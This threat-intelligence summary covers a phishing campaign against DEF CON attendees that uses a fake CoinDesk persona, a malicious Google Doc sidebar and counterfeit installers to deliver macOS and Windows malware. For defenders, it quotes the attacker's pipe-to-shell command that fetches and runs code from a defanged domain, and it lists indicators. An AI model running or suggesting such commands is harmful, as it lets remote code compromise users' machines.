Post-DEF CON Phishing Uses Malicious Google Doc to Deliver Malware

What it is

A targeted phishing campaign against Black Hat/DEF CON attendees, documented by Huntress after one of their own researchers was targeted. On August 9, the X account @HartmansDoeke — impersonating CoinDesk's VP and Head of Marketing (using one person's photo with another's name) — DM'd the researcher about a fake upcoming "online conference," then shared a malicious Google Doc plus an "encryption key."

How it works

The Google Doc carries a custom Apps Script sidebar (DecryptPanel.html) that validates a small set of hard-coded keys, collects victim/host info, reports activity via Telegram, and branches by OS. The actor-supplied key deliberately "fails" to decrypt, prompting the victim toward two sidebar options — ClickFix-style instructions and a manual download. The code contains Russian-language comments and emojis.

On macOS, the ClickFix path instructs the victim to run:

curl -fsSL https://apple-googleapi[.]com/i | zsh

The "Manual Update" fallback points to an actor-run GitHub Releases page hosting a macOS disk image, GAPIUpdate.dmg — an ad-hoc signed app bundle the victim is told to bypass Gatekeeper for. When the first lure failed, the actor followed up the next day with a fake Dropbox DocSend share leading to a counterfeit DocSend installer, delivering AMOS stealer (macOS) and NetSupport RAT + a Ledger wallet implant + a traffic-intercepting proxy (Windows).

flowchart TD
    A[X DM: fake CoinDesk VP] --> B[Google Doc + fake key]
    B --> C{Key 'fails'}
    C --> D[macOS: ClickFix curl]
    C --> E[macOS: GAPIUpdate.dmg via GitHub]
    B -.first lure fails.-> F[Fake DocSend installer]
    F --> G[macOS: AMOS]
    F --> H[Windows: NetSupport RAT + Ledger implant + proxy]

Preconditions / Affected

The sidebar only renders for an authenticated Google user who opens the Doc. Compromise requires the victim to actively copy/paste and run the command, or download the DMG and bypass Gatekeeper — social engineering, not an exploit.

What to do

Block/hunt on these indicators the page names:

• X account @HartmansDoeke
• Domain apple-googleapi[.]com (macOS delivery domain)
• File GAPIUpdate.dmg and the counterfeit DocSend installer
• The curl … | zsh pipe-to-shell pattern from browser-copied text

Treat unsolicited post-conference DMs linking to "encrypted" Google Docs that demand a key as hostile.

Caveats

At publication, the apple-googleapi[.]com payload was not live: it resolved into a redirect loop pointing to 127.0.0.1:43695, and Huntress's browser gave up after 108 requests of repeated 301s. Huntress only assumes a payload was intended there — the macOS curl path could not be fully reproduced. The GitHub .dmg and the DocSend-lure payloads are the confirmed delivery mechanisms. The excerpt cuts off mid-sentence on the Gatekeeper-bypass instructions.